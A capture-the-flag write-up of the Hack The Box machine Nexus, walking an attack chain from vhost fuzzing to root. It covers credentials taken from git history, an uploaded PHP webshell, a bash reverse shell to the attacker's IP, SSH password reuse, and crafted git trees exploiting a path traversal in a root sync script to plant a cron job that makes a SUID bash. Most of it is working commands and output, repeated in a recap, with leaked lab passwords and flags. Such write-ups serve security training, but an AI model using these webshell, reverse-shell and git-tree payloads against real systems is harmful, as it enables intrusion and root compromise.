Back to writeups

Hack The Box Machines

HTB Nexus Writeup

Linux writeup covering vhost enumeration, Gitea Git history secret leakage, Krayin CRM upload RCE, password reuse, and Gitea template-sync privilege escalation.

Date
Platform
Hack The Box
Category
Machine
Difficulty
Information
#htb#linux#web#git#gitea#krayin#file-upload#password-reuse#privilege-escalation

Hack The Box - Nexus Writeup

Machine Overview

ItemDetails
MachineNexus
PlatformHack The Box
OSLinux / Ubuntu
DifficultyMedium-style attack chain
Target IP10.129.12.199
Attack IP10.10.14.224

Summary

Nexus involved a multi-stage web-to-root attack path:

  1. Enumerated virtual hosts and discovered git.nexus.htb and billing.nexus.htb.

  2. Found a public Gitea instance with a public repository.

  3. Cloned the repository and extracted an old password from Git history.

  4. Used password reuse to log in to Krayin CRM.

  5. Exploited an authenticated TinyMCE upload endpoint to upload a PHP webshell.

  6. Used the webshell to get a reverse shell as www-data.

  7. Read the live Krayin .env file and found the real database password.

  8. Reused that password over SSH as jones and captured user.txt.

  9. Found a root-owned Gitea template sync timer.

  10. Abused unsafe path handling in the sync script to write a root cron file.

  11. Created a SUID root bash binary and captured root.txt.

Final flags:

user.txt: 347eede9407e77af48adea30ab6ec9b5
root.txt: 58fd3ff233ccbf297022ef0dc9b5d4ec

1. Initial Enumeration

1.1 Port Scan

I started with a normal TCP scan against the target.

nmap -sC -sV -oN scans/nmap-initial.txt 10.129.12.199

The important exposed services were:

22/tcp open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp open  http  nginx 1.24.0 Ubuntu

Only SSH and HTTP were externally reachable. That usually means the main attack surface is the web application on port 80.


1.2 Hosts File Setup

Since this is an HTB machine, virtual hosts were likely involved. I added the base domain and likely subdomains to /etc/hosts.

sudo nano /etc/hosts

Added:

10.129.12.199 nexus.htb git.nexus.htb billing.nexus.htb

This lets the browser and CLI tools resolve the internal HTB hostnames correctly.


2. Web Enumeration

2.1 Main Site: nexus.htb

I visited the main site:

curl -i http://nexus.htb/

The page was a static public-facing site for:

Nexus Energy Authority — Powering the Nation's Future

I saved the HTML and searched for emails and useful strings:

mkdir -p loot scans

curl -s http://nexus.htb/ -o loot/index.html

grep -Eio '[A-Za-z0-9._%+-]+@nexus\.htb' loot/index.html | sort -u | tee loot/emails.txt
cut -d@ -f1 loot/emails.txt | sort -u | tee loot/users.txt

Found emails:

careers@nexus.htb
j.matthew@nexus.htb

Possible usernames:

careers
j.matthew

At this stage, these were useful for later credential testing.


2.2 Virtual Host Fuzzing

The main site did not expose obvious routes, so I fuzzed virtual hosts.

Before fuzzing, I checked the default invalid vhost response size:

curl -s -H "Host: random.nexus.htb" http://10.129.12.199/ -o /tmp/base.html
wc -c /tmp/base.html

The invalid vhost response size was:

154

Then I fuzzed subdomains:

ffuf -u http://10.129.12.199/ \
  -H "Host: FUZZ.nexus.htb" \
  -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 154 \
  -o scans/ffuf-vhosts.json

Valid virtual hosts discovered:

git      [Status: 200, Size: 14474]
billing  [Status: 302, Size: 390]

Important findings:

VHostPurpose
git.nexus.htbGitea instance
billing.nexus.htbKrayin CRM instance

This was the first major pivot. The public site was mostly a decoy; the real attack surface was on the internal apps.


3. Gitea Enumeration — git.nexus.htb

3.1 Identify Gitea

I opened the Git vhost:

curl -i http://git.nexus.htb/
curl -s http://git.nexus.htb/ | tee loot/git.html

The page title and footer confirmed Gitea:

Gitea: Git with a cup of tea
Version: 1.26.0

I also queried the API version endpoint:

curl -s http://git.nexus.htb/api/v1/version | jq

Output:

{
  "version": "1.26.0"
}

Registration was enabled:

curl -i http://git.nexus.htb/user/sign_up

And the login page was available:

curl -i http://git.nexus.htb/user/login

3.2 Gitea Directory Fuzzing

I fuzzed paths on the Gitea vhost:

ffuf -u http://git.nexus.htb/FUZZ \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
  -ic \
  -fs 14474,49296,154 \
  -o scans/ffuf-git.json

Interesting results:

/admin  [Status: 200]
/jones  [Status: 200]
/v2     [Status: 401]

This revealed public Gitea users:

admin
jones

The /v2 endpoint looked like a Docker registry-style API endpoint, but it did not become the main path.


3.3 Public Repository Discovery

I queried public repositories through the Gitea API.

curl -s http://git.nexus.htb/api/v1/users/admin/repos | jq
curl -s http://git.nexus.htb/api/v1/users/jones/repos | jq

The jones user had no public repositories, but admin had one public repository:

admin/krayin-docker-setup

Repository URL:

http://git.nexus.htb/admin/krayin-docker-setup

Clone URL:

http://git.nexus.htb/admin/krayin-docker-setup.git

This was highly relevant because the billing vhost was running Krayin CRM.


4. Repository Analysis

4.1 Clone the Public Repo

cd ~/Desktop/01_CTF/HackTheBox/Machines/NExus/loot

git clone http://git.nexus.htb/admin/krayin-docker-setup.git

cd krayin-docker-setup
find . -maxdepth 4 -type f | sort

Files found:

.env
docker-compose.yml
documents

4.2 Inspect .env and docker-compose.yml

cat .env
cat docker-compose.yml

The repository .env showed placeholder-style values:

APP_NAME='Krayin CRM'
APP_ENV=local
APP_DEBUG=true
APP_URL=http://billing.nexus.htb

DB_CONNECTION=mysql
DB_HOST=krayin-mysql
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=

The Docker Compose file showed a Krayin app, MySQL, and phpMyAdmin:

services:
  krayin-app:
    image: webkul/krayin:latest
    ports:
      - "80:80"

  krayin-mysql:
    image: mysql:8.0

  krayin-phpmyadmin:
    image: phpmyadmin:latest
    ports:
      - "8080:80"

At first, DB_PASSWORD looked empty. However, Git history needed to be checked.


4.3 Git History Secret Leak

I checked the Git log and diffs:

git log --oneline --all
git diff HEAD~1 HEAD

Commits:

9b817fa Upload files to "/"
1615c46 Upload files to "/"

The diff showed that the DB password had been removed:

-DB_PASSWORD=N27xh!!2ucY04
+DB_PASSWORD=

I also grepped the full Git history for secrets:

git grep -nE 'password|secret|token|APP_KEY|DB_PASSWORD|MAIL_PASSWORD' $(git rev-list --all)

Important leaked secret:

DB_PASSWORD=N27xh!!2ucY04

This is a classic mistake: removing a secret from the latest commit does not remove it from Git history.

At this stage, I had:

Leaked password: N27xh!!2ucY04
Possible users:
- j.matthew@nexus.htb
- careers@nexus.htb
- admin@nexus.htb
- jones

5. Billing App Enumeration — billing.nexus.htb

5.1 Identify Application

The billing vhost redirected to an admin login page:

curl -i http://billing.nexus.htb/

Response:

HTTP/1.1 302 Found
Location: http://billing.nexus.htb/admin/login

I followed the redirect:

curl -Ls -D loot/billing.follow.headers http://billing.nexus.htb/ | tee loot/billing.html

The login page showed:

Krayin CRM
Powered by Krayin, an open-source project by Webkul.

The login form action was:

/admin/login

Fields:

email
password
_token

So this was a Laravel-based Krayin CRM application.


5.2 Laravel Debugbar Exposure

The billing page also loaded Laravel Debugbar assets:

/_debugbar/assets/stylesheets
/_debugbar/assets/javascript

The debugbar leaked sensitive environment information:

Laravel Version: 12.54.1
PHP Version: 8.3.6
Environment: local
Debug Mode: Enabled
URL: billing.nexus.htb
Timezone: Asia/Kolkata

It also leaked internal file paths such as:

/var/www/krayin/packages/Webkul/Admin/src/Resources/views/sessions/login.blade.php
/var/www/krayin/packages/Webkul/Admin/src/Http/Controllers/User/SessionController.php

This was important because it confirmed:

  1. The app was in debug/local mode.

  2. The filesystem path was /var/www/krayin.

  3. The backend was Laravel/Krayin.

  4. Internal controllers and routes were visible.

Debugbar was not the direct RCE, but it made exploitation and route discovery easier.


6. Credential Testing

6.1 Test Default Krayin Credentials

Krayin commonly uses an admin login, so I tested default-style credentials first:

curl -c loot/billing.cookie -s http://billing.nexus.htb/admin/login -o loot/login.html

TOKEN=$(grep -oP 'name="_token" value="\K[^"]+' loot/login.html)

curl -i -b loot/billing.cookie -c loot/billing.cookie \
  -X POST http://billing.nexus.htb/admin/login \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data "email=admin%40example.com&password=admin123&_token=$TOKEN"

This redirected back to login, so defaults failed.


6.2 Test Leaked Password Against Users

I tested the leaked Git password:

N27xh!!2ucY04

Against likely CRM users.

The successful credential pair was:

j.matthew@nexus.htb : N27xh!!2ucY04

Login returned a redirect to:

/admin/dashboard

That confirmed valid CRM access.

This was the first authentication pivot:

Git history password leak
→ password reuse
→ CRM login as j.matthew

7. Initial Foothold — Authenticated PHP Upload

7.1 Why TinyMCE Upload Was Interesting

The application had an authenticated TinyMCE upload route:

/admin/tinymce/upload

Laravel Debugbar showed the route/controller:

Webkul\Admin\Http\Controllers\TinyMCEController@upload

TinyMCE upload endpoints are often used for image upload features. If validation is weak, uploading a PHP file can result in arbitrary code execution.


7.2 Correct Login Session Handling

I first had a mistake because I was in the wrong directory and used a bad relative path:

grep: loot/login.html: No such file or directory
HTTP/1.1 419 unknown status

The 419 status was Laravel CSRF failure.

The fix was to work from the correct machine directory and preserve cookies/tokens properly:

cd ~/Desktop/01_CTF/HackTheBox/Machines/NExus
mkdir -p loot

PASS='N27xh!!2ucY04'
EMAIL='j.matthew@nexus.htb'

rm -f loot/auth.cookie loot/login.html loot/upload.txt

curl -c loot/auth.cookie -s http://billing.nexus.htb/admin/login -o loot/login.html

TOKEN=$(grep -oP 'name="_token" value="\K[^"]+' loot/login.html)

curl -s -i -b loot/auth.cookie -c loot/auth.cookie \
  -X POST http://billing.nexus.htb/admin/login \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" \
  --data-urlencode "_token=$TOKEN" | tee loot/login.response

Then I verified access to the dashboard:

curl -s -b loot/auth.cookie -L http://billing.nexus.htb/admin/dashboard | tee loot/dashboard.html

grep -Ei 'Dashboard|Sign Out|j.matthew|Krayin' loot/dashboard.html | head

7.3 Upload PHP Webshell

I created a simple PHP command webshell:

cat > /tmp/shell.php <<'EOF'
<?php system($_GET['cmd'] ?? 'id'); ?>
EOF

Then extracted a CSRF token and uploaded it:

TOKEN=$(grep -oP 'name="_token" value="\K[^"]+' loot/dashboard.html | head -1)

curl -s -i -b loot/auth.cookie -c loot/auth.cookie \
  -F "_token=$TOKEN" \
  -F "file=@/tmp/shell.php;type=image/jpeg" \
  http://billing.nexus.htb/admin/tinymce/upload | tee loot/upload.txt

The upload returned JSON:

{
  "location": "http://billing.nexus.htb/storage/tinymce/2c8eaf9215746fd3dd67ad6e5efe3ac8.php"
}

This confirmed that the PHP file was uploaded into a web-accessible location.


7.4 Confirm Command Execution

I saved the webshell URL:

URL='http://billing.nexus.htb/storage/tinymce/2c8eaf9215746fd3dd67ad6e5efe3ac8.php'

Then tested command execution:

curl --get "$URL" --data-urlencode "cmd=id"
curl --get "$URL" --data-urlencode "cmd=whoami"
curl --get "$URL" --data-urlencode "cmd=hostname"

The command execution confirmed RCE as the web user.


7.5 Reverse Shell

I started a listener on Kali:

nc -lvnp 4444

Then triggered a bash reverse shell through the webshell:

curl --get "$URL" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.224/4444 0>&1'"

Connection received:

connect to [10.10.14.224] from (UNKNOWN) [10.129.12.199]
bash: cannot set terminal process group
bash: no job control in this shell
www-data@nexus:~/krayin/storage/app/public/tinymce$

I upgraded the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 40 cols 120

Current user:

id

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Hostname:

hostname

Output:

nexus

At this point, I had a foothold as:

www-data@nexus

8. Post-Exploitation as www-data

8.1 Enumerate Home Directories

ls -la /home

Output:

drwxr-x---  2 git   git   4096 May 12 12:27 git
drwxr-x---  3 jones jones 4096 May 12 12:26 jones

I tried to read user.txt:

find /home -name user.txt -type f -readable 2>/dev/null -exec cat {} \;

No output, because www-data did not have permission to read /home/jones.

So the next goal was lateral movement from www-data to jones.


8.2 Read Runtime Krayin .env

The Git repository had an old/stale .env, but the live application had the real .env.

cd /var/www/krayin

ls -la
cat .env

Important values:

APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

This revealed the real MySQL credential:

krayin : y27xb3ha!!74GbR

This password was different from the old Git-history password.


8.3 Local Services

I checked listening services:

ss -lntp

Important results:

127.0.0.1:3306   MySQL
127.0.0.1:3000   Gitea
0.0.0.0:22       SSH
0.0.0.0:80       nginx

Processes confirmed:

ps auxww | grep -Ei 'mysql|mariadb|gitea|krayin|php|nginx|docker' | grep -v grep

Interesting processes:

git      /usr/local/bin/gitea web --config /etc/gitea/app.ini
mysql    /usr/sbin/mysqld
www-data php-fpm: pool www
nginx    nginx worker process

This confirmed that MySQL and Gitea were both running locally on the same host.


8.4 Access MySQL

I used the live DB password:

DBPASS='y27xb3ha!!74GbR'

mysql -h 127.0.0.1 -u krayin -p"$DBPASS" krayin -e 'show tables;'

Tables included:

users
persons
personal_access_tokens
user_password_resets
emails
leads
organizations
roles

I dumped the users table:

mysql -h 127.0.0.1 -u krayin -p"$DBPASS" krayin \
  -e "select id,name,email,password from users;"

Output:

+----+-------+---------------------+--------------------------------------------------------------+
| id | name  | email               | password                                                     |
+----+-------+---------------------+--------------------------------------------------------------+
|  1 | james | j.matthew@nexus.htb | $2y$10$ez0AouNyeP4NmwjLSV5vCOAJxMLi.6fCKmGC3M6Ve5xJmWJOLRJ5i |
+----+-------+---------------------+--------------------------------------------------------------+

The hash was useful evidence, but the real move was to test the DB password for OS password reuse.


9. Lateral Movement to jones

From Kali, I tested SSH password reuse:

PASS='y27xb3ha!!74GbR'
IP=10.129.12.199

for u in jones git www-data j.matthew; do
  echo "=== $u ==="
  sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 $u@$IP \
    'id; hostname; cat ~/user.txt 2>/dev/null' 2>&1
done

Successful login:

=== jones ===
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)
nexus
347eede9407e77af48adea30ab6ec9b5

Failed users:

git
www-data
j.matthew

So the live Krayin DB password was reused as the Linux password for jones.

Credential:

jones : y27xb3ha!!74GbR

I SSHed in:

ssh jones@10.129.12.199

Then read the user flag:

cat ~/user.txt

Output:

347eede9407e77af48adea30ab6ec9b5

10. Privilege Escalation Enumeration

10.1 Basic Checks

As jones:

id
hostname
pwd
ls -la ~
sudo -l

Output:

uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)

Home directory:

/home/jones

Sudo result:

Sorry, user jones may not run sudo on nexus.

So sudo was not the root path.


10.2 Gitea Config Permissions

I checked Gitea files:

cat /etc/gitea/app.ini 2>/dev/null
ls -la /etc/gitea /var/lib/gitea /home/git 2>/dev/null
find / -name app.ini -o -name gitea.db -o -name "*.db" 2>/dev/null

Output:

/etc/gitea:
-rw-r----- 1 git git 1586 app.ini
-rw-r----- 1 git git   89 template-sync.conf
-rw-r--r-- 1 git git 4184 template-sync.py

jones could not read app.ini or template-sync.conf, but could read:

/etc/gitea/template-sync.py

That was suspicious.


10.3 SUID and Capabilities

find / -perm -4000 -type f 2>/dev/null

Only normal SUID binaries appeared:

/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp

Capabilities:

getcap -r / 2>/dev/null

Notable but not useful:

/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/snapd/snap-confine ... cap_sys_admin ...

No obvious direct privesc here.


10.4 Cron and Timers

I checked cron and systemd timers:

ls -la /etc/cron* /var/spool/cron/crontabs 2>/dev/null

systemctl list-timers --all 2>/dev/null | head -50

Interesting custom timer:

gitea-template-sync.timer

It ran every minute:

NEXT                            LEFT  UNIT
Sat 2026-06-27 13:14:56 UTC      11s  gitea-template-sync.timer

This was the big privilege escalation clue.


11. Root Timer Analysis

11.1 Inspect Timer and Service

systemctl cat gitea-template-sync.timer
systemctl cat gitea-template-sync.service
systemctl status gitea-template-sync.service --no-pager

Timer:

[Unit]
Description=Run Gitea template sync every minute

[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=gitea-template-sync.service

[Install]
WantedBy=timers.target

Service:

[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

Important detail:

User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py

So every minute, root executed:

/usr/bin/python3 /etc/gitea/template-sync.py

This was likely the intended privesc path.


11.2 Read template-sync.py

sed -n '1,260p' /etc/gitea/template-sync.py

Important constants:

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

The script loaded a token from:

for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:

Then searched for Gitea repositories marked as templates:

url = "%s/api/v1/repos/search?limit=50" % GITEA_URL

return [r for r in repos if r.get('template', False)]

For each template repo, it ran:

git ls-tree -r HEAD

Then extracted each blob to the staging directory:

target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)

os.makedirs(target_dir, exist_ok=True)

with open(target, 'wb') as f:
    f.write(cat_result.stdout)

This was vulnerable.


12. Understanding the Root Vulnerability

12.1 The Bug

The vulnerable line was:

target = os.path.join(stage_path, filepath)

There was no validation that target stayed inside:

/home/git/template-staging/<owner>/<repo>

So if I could control filepath, I could make root write outside the staging directory.

Example malicious path:

../../../../../etc/cron.d/nexus

If root writes to that path, it creates:

/etc/cron.d/nexus

Because the service runs as root, the file is written as root.


12.2 Why Normal Git Is Not Enough

Normally, Git does not let you simply create a file path like:

../../../../../etc/cron.d/nexus

with normal filesystem operations because .. is interpreted by the OS.

However, Git trees can be crafted manually using low-level plumbing commands like:

git mktree
git commit-tree
git update-ref

This allows creating tree entries named .., which appear in git ls-tree output as:

../../../../../etc/cron.d/nexus

The root script trusted that path and wrote it directly with Python.


12.3 Exploitation Strategy

The root-owned sync service does this:

Gitea template repo
→ git ls-tree
→ get blob paths
→ write files into staging directory

I abused it like this:

Create Gitea template repo
→ push crafted Git tree containing ../../../../../etc/cron.d/nexus
→ wait for root timer
→ root writes /etc/cron.d/nexus
→ cron executes root command
→ command creates SUID bash at /tmp/rootbash
→ /tmp/rootbash -p gives euid=0

Cron payload:

* * * * * root cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash

This creates a root-owned SUID copy of bash:

/tmp/rootbash

Then:

/tmp/rootbash -p

The -p option preserves effective UID, giving a root shell.


13. Building the Malicious Git Tree

On Kali:

rm -rf /tmp/nexus-privesc
mkdir /tmp/nexus-privesc
cd /tmp/nexus-privesc

git init -q
git config user.email "j.matthew@nexus.htb"
git config user.name "jones"

Create cron payload as a Git blob:

PAYLOAD='* * * * * root cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'

blob=$(printf '%s\n' "$PAYLOAD" | git hash-object -w --stdin)

Build a Git tree manually.

First create file nexus:

t=$(printf '100644 blob %s\tnexus\n' "$blob" | git mktree)

Wrap it in cron.d:

t=$(printf '040000 tree %s\tcron.d\n' "$t" | git mktree)

Wrap it in etc:

t=$(printf '040000 tree %s\tetc\n' "$t" | git mktree)

Then wrap it in five parent traversal directories named ..:

for i in 1 2 3 4 5; do
  t=$(printf '040000 tree %s\t..\n' "$t" | git mktree)
done

Create a commit:

commit=$(printf 'pwn\n' | git commit-tree "$t")
git update-ref refs/heads/main "$commit"

Verify tree:

git ls-tree -r main

Output:

100644 blob 8273567275f2749d1664fb0be146688d7cdb4ce0    ../../../../../etc/cron.d/nexus

That output confirmed the malicious Git tree was correct.


14. Create Gitea Template Repository

I logged into Gitea with:

jones : y27xb3ha!!74GbR

Then created a repository:

Owner: jones
Repository name: evil-template
Visibility: Public
Template Repository: Enabled

Important: the repository must be marked as a template because the root script filters only repos where:

r.get('template', False)

If the repo is not a template, the root service ignores it.


15. Push Malicious Tree

At first, I accidentally tried to use a placeholder literally:

git remote add origin http://git.nexus.htb/<USER>/evil-template.git

In zsh, <USER> is treated as redirection, causing:

zsh: no such file or directory: USER

The fix was to use the real username:

cd /tmp/nexus-privesc

git remote remove origin 2>/dev/null
git remote add origin http://git.nexus.htb/jones/evil-template.git
git remote -v

Then push:

git push -u origin main --force

Credentials:

Username: jones
Password: y27xb3ha!!74GbR

Successful push:

Enumerating objects: 10, done.
Writing objects: 100% (10/10), 519 bytes
remote: Processing 1 references
To http://git.nexus.htb/jones/evil-template.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'.

16. Root Shell

After the timer ran and cron executed, I checked for /tmp/rootbash.

Then executed:

/tmp/rootbash -p

Confirmed root effective UID:

id

Output:

uid=1000(jones) gid=1000(jones) euid=0(root) groups=1000(jones),100(users)

This means the real UID was still jones, but the effective UID was root. That is enough to read root-owned files and operate with root privileges through the SUID bash process.

Read root flag:

cat /root/root.txt

Output:

58fd3ff233ccbf297022ef0dc9b5d4ec

Machine rooted.


17. Cleanup

After capturing the flag, I removed the artifacts:

rm -f /etc/cron.d/nexus
rm -f /tmp/rootbash
exit

Optional cleanup in Gitea:

Delete jones/evil-template

18. Full Attack Path

1. Nmap found SSH and HTTP.
2. Main site revealed nexus.htb branding and emails.
3. VHost fuzzing found git.nexus.htb and billing.nexus.htb.
4. git.nexus.htb exposed Gitea 1.26.0.
5. Gitea public repo admin/krayin-docker-setup was accessible.
6. Git history leaked old DB password: N27xh!!2ucY04.
7. billing.nexus.htb ran Krayin CRM with Laravel Debugbar enabled.
8. Password reuse allowed login to Krayin as j.matthew@nexus.htb.
9. Authenticated TinyMCE upload accepted a PHP file.
10. Uploaded PHP webshell to /storage/tinymce/.
11. Webshell gave RCE and reverse shell as www-data.
12. Runtime /var/www/krayin/.env exposed real DB password: y27xb3ha!!74GbR.
13. DB password was reused as Linux SSH password for jones.
14. SSH as jones gave user.txt.
15. Enumeration found gitea-template-sync.timer running as root every minute.
16. template-sync.py extracted files from Gitea template repos without path sanitization.
17. Crafted Git tree path ../../../../../etc/cron.d/nexus.
18. Root sync service wrote a cron file.
19. Cron created /tmp/rootbash with SUID bit.
20. /tmp/rootbash -p gave euid=0.
21. Read /root/root.txt.

19. Why Each Exploit Worked

Git History Secret Leak

The repository owner removed the password from the latest .env, but did not rewrite Git history.

Git still retained the old value:

DB_PASSWORD=N27xh!!2ucY04

This worked because Git is append/history-based. Deleting a secret from a new commit does not remove it from previous commits.


Password Reuse

The leaked Git password was reused for the Krayin CRM account:

j.matthew@nexus.htb : N27xh!!2ucY04

Later, the live DB password was reused for the Linux account:

jones : y27xb3ha!!74GbR

Password reuse turned application secrets into system access.


Authenticated File Upload to RCE

The TinyMCE upload route allowed an authenticated user to upload a PHP file and returned a web-accessible location:

/storage/tinymce/2c8eaf9215746fd3dd67ad6e5efe3ac8.php

Because the file was executable by PHP-FPM, accessing it with:

?cmd=id

executed system commands as www-data.


Runtime .env Exposure

Once inside as www-data, the Laravel application directory was readable:

/var/www/krayin/.env

That file contained the real production database credentials:

DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

This enabled database access and password reuse testing.


Gitea Template Sync Path Traversal

The root script trusted file paths returned by:

git ls-tree -r HEAD

Then wrote them directly using:

target = os.path.join(stage_path, filepath)

There was no check like:

real_target.startswith(real_stage_path)

So a crafted path escaped the staging directory and wrote into /etc/cron.d.

Because the script ran as root, this became an arbitrary root file write.


SUID Bash

The malicious cron file ran:

* * * * * root cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash

The permission 4755 means:

4 = SUID bit
755 = executable by everyone

So /tmp/rootbash ran with effective UID root.

Using:

/tmp/rootbash -p

preserved the elevated effective UID.


20. Key Takeaways

  • Always fuzz virtual hosts on HTB web machines.

  • Public Git repositories can leak secrets even if the latest commit looks clean.

  • Always inspect Git history with git log, git diff, and git grep $(git rev-list --all).

  • Laravel Debugbar in production leaks internal routes, paths, versions, queries, and environment data.

  • Authenticated upload endpoints should be treated as high-risk attack surface.

  • Runtime .env files are high-value post-exploitation targets.

  • Password reuse between app, DB, and OS users can turn web access into SSH access.

  • Custom systemd timers are often intended privilege escalation paths.

  • When root scripts process attacker-controlled Git data, Git tree path manipulation can become arbitrary file write.

  • Always validate extracted file paths using canonical paths before writing files.


21. Important Commands Recap

VHost Fuzz

ffuf -u http://10.129.12.199/ \
  -H "Host: FUZZ.nexus.htb" \
  -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 154

Clone Gitea Repo

git clone http://git.nexus.htb/admin/krayin-docker-setup.git
cd krayin-docker-setup
git log --oneline --all
git diff HEAD~1 HEAD
git grep -nE 'password|secret|token|APP_KEY|DB_PASSWORD' $(git rev-list --all)

Krayin Login

PASS='N27xh!!2ucY04'
EMAIL='j.matthew@nexus.htb'

curl -c loot/auth.cookie -s http://billing.nexus.htb/admin/login -o loot/login.html
TOKEN=$(grep -oP 'name="_token" value="\K[^"]+' loot/login.html)

curl -s -i -b loot/auth.cookie -c loot/auth.cookie \
  -X POST http://billing.nexus.htb/admin/login \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" \
  --data-urlencode "_token=$TOKEN"

Upload Webshell

cat > /tmp/shell.php <<'EOF'
<?php system($_GET['cmd'] ?? 'id'); ?>
EOF

curl -s -i -b loot/auth.cookie -c loot/auth.cookie \
  -F "_token=$TOKEN" \
  -F "file=@/tmp/shell.php;type=image/jpeg" \
  http://billing.nexus.htb/admin/tinymce/upload | tee loot/upload.txt

Reverse Shell

URL='http://billing.nexus.htb/storage/tinymce/2c8eaf9215746fd3dd67ad6e5efe3ac8.php'

nc -lvnp 4444
curl --get "$URL" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.224/4444 0>&1'"

Read Live .env

cat /var/www/krayin/.env

SSH as Jones

ssh jones@10.129.12.199
# password: y27xb3ha!!74GbR

Inspect Root Timer

systemctl cat gitea-template-sync.timer
systemctl cat gitea-template-sync.service
sed -n '1,260p' /etc/gitea/template-sync.py

Build Malicious Git Tree

rm -rf /tmp/nexus-privesc
mkdir /tmp/nexus-privesc
cd /tmp/nexus-privesc

git init -q
git config user.email "j.matthew@nexus.htb"
git config user.name "jones"

PAYLOAD='* * * * * root cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
blob=$(printf '%s\n' "$PAYLOAD" | git hash-object -w --stdin)

t=$(printf '100644 blob %s\tnexus\n' "$blob" | git mktree)
t=$(printf '040000 tree %s\tcron.d\n' "$t" | git mktree)
t=$(printf '040000 tree %s\tetc\n' "$t" | git mktree)

for i in 1 2 3 4 5; do
  t=$(printf '040000 tree %s\t..\n' "$t" | git mktree)
done

commit=$(printf 'pwn\n' | git commit-tree "$t")
git update-ref refs/heads/main "$commit"

git ls-tree -r main

Push to Template Repo

git remote remove origin 2>/dev/null
git remote add origin http://git.nexus.htb/jones/evil-template.git
git push -u origin main --force

Root

/tmp/rootbash -p
id
cat /root/root.txt

22. Final Result

Foothold: www-data via Krayin TinyMCE PHP upload
User:     jones via password reuse
Root:     path traversal arbitrary file write in root Gitea template sync job

Flags:

user.txt: 347eede9407e77af48adea30ab6ec9b5
root.txt: 58fd3ff233ccbf297022ef0dc9b5d4ec

Authorized security practice only. These notes are for lab, CTF, and explicitly permitted environments.